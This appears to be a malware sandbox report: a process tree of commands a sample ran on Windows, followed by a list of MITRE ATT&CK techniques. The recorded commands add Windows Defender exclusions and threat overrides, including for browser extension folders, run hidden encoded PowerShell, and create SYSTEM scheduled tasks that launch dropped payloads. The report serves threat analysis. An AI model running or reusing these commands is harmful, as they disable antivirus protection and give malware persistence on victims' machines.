"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:1776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:3124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:1072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AqhCymdmIBUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AqhCymdmIBUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QubjZgZsgVxU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QubjZgZsgVxU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XhLCDmquyDmYC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XhLCDmquyDmYC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qZsdLtoLnmdMsAbZENR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qZsdLtoLnmdMsAbZENR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tSRsKJOgU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tSRsKJOgU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mjUPcNFqgWzmMMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mjUPcNFqgWzmMMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PKLMGLEKhliiDLHGb\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PKLMGLEKhliiDLHGb\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gGlzHXLNukBnGkUk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gGlzHXLNukBnGkUk\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:5044

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AqhCymdmIBUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:728

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AqhCymdmIBUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AqhCymdmIBUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QubjZgZsgVxU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QubjZgZsgVxU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:652

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XhLCDmquyDmYC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XhLCDmquyDmYC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qZsdLtoLnmdMsAbZENR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4240

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qZsdLtoLnmdMsAbZENR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tSRsKJOgU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tSRsKJOgU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mjUPcNFqgWzmMMVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:4716

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mjUPcNFqgWzmMMVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:4804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4284

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PKLMGLEKhliiDLHGb /t REG_DWORD /d 0 /reg:32
3⤵
PID:408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PKLMGLEKhliiDLHGb /t REG_DWORD /d 0 /reg:64
3⤵
PID:1436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gGlzHXLNukBnGkUk /t REG_DWORD /d 0 /reg:32
3⤵
PID:3944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gGlzHXLNukBnGkUk /t REG_DWORD /d 0 /reg:64
3⤵
PID:1704

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gqMeAsLLy" /SC once /ST 12:56:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:568

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gqMeAsLLy"
2⤵
PID:2040

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gqMeAsLLy"
2⤵
PID:3964

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YNRMAHHYAWtfapctR" /SC once /ST 06:25:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\gGlzHXLNukBnGkUk\JuzkbKfKfyDoQdV\ylKpRBB.exe\" p2 /CmhLdidTX 385132 /S" /V1 /F
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2348

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "YNRMAHHYAWtfapctR"
2⤵
PID:2396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 844
2⤵
- Program crash
PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3404

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4068

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1096

C:\Windows\Temp\gGlzHXLNukBnGkUk\JuzkbKfKfyDoQdV\ylKpRBB.exe
C:\Windows\Temp\gGlzHXLNukBnGkUk\JuzkbKfKfyDoQdV\ylKpRBB.exe p2 /CmhLdidTX 385132 /S
1⤵
PID:3164

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bTVQzzKDZQMhkLPDbz"
2⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:3056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:3648

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:4308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
PID:4924

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
PID:3876

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\tSRsKJOgU\tQDTgs.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wovFAmtOpAxrHrl" /V1 /F
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2056

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "wovFAmtOpAxrHrl2" /F /xml "C:\Program Files (x86)\tSRsKJOgU\JldLhmX.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4980

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "wovFAmtOpAxrHrl"
2⤵
PID:2896

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "wovFAmtOpAxrHrl"
2⤵
PID:388

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2136

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OrspJZQoDyehPl" /F /xml "C:\Program Files (x86)\QubjZgZsgVxU2\GBNRfQi.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:664

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "AfBtKiWWYHIKP2" /F /xml "C:\ProgramData\mjUPcNFqgWzmMMVB\OCjfYtQ.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4792

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WyNLkpRDmiMxCDgFB2" /F /xml "C:\Program Files (x86)\qZsdLtoLnmdMsAbZENR\rYndoGH.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3336

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "sTjfLxzHimdPzpCahty2" /F /xml "C:\Program Files (x86)\XhLCDmquyDmYC\BVknpHP.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:5048

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "CsFigRpOItwcpvTmu" /SC once /ST 13:53:58 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\gGlzHXLNukBnGkUk\WCJRjDzr\jmwrvrH.dll\",#1 /tKdidXPq 385132" /V1 /F
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2764

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "CsFigRpOItwcpvTmu"
2⤵
PID:2088

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "YNRMAHHYAWtfapctR"
2⤵
PID:4564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 2604
2⤵
- Program crash
PID:4800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 228 -ip 228
1⤵
PID:920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4880 -ip 4880
1⤵
PID:2448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4880 -ip 4880
1⤵
PID:1848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4880 -ip 4880
1⤵
PID:4492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4880 -ip 4880
1⤵
PID:1212

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\gGlzHXLNukBnGkUk\WCJRjDzr\jmwrvrH.dll",#1 /tKdidXPq 385132
1⤵
PID:2992

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\gGlzHXLNukBnGkUk\WCJRjDzr\jmwrvrH.dll",#1 /tKdidXPq 385132
2⤵
PID:4968

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "CsFigRpOItwcpvTmu"
3⤵
PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2920 -ip 2920
1⤵
PID:2540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3164 -ip 3164
1⤵
PID:3624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery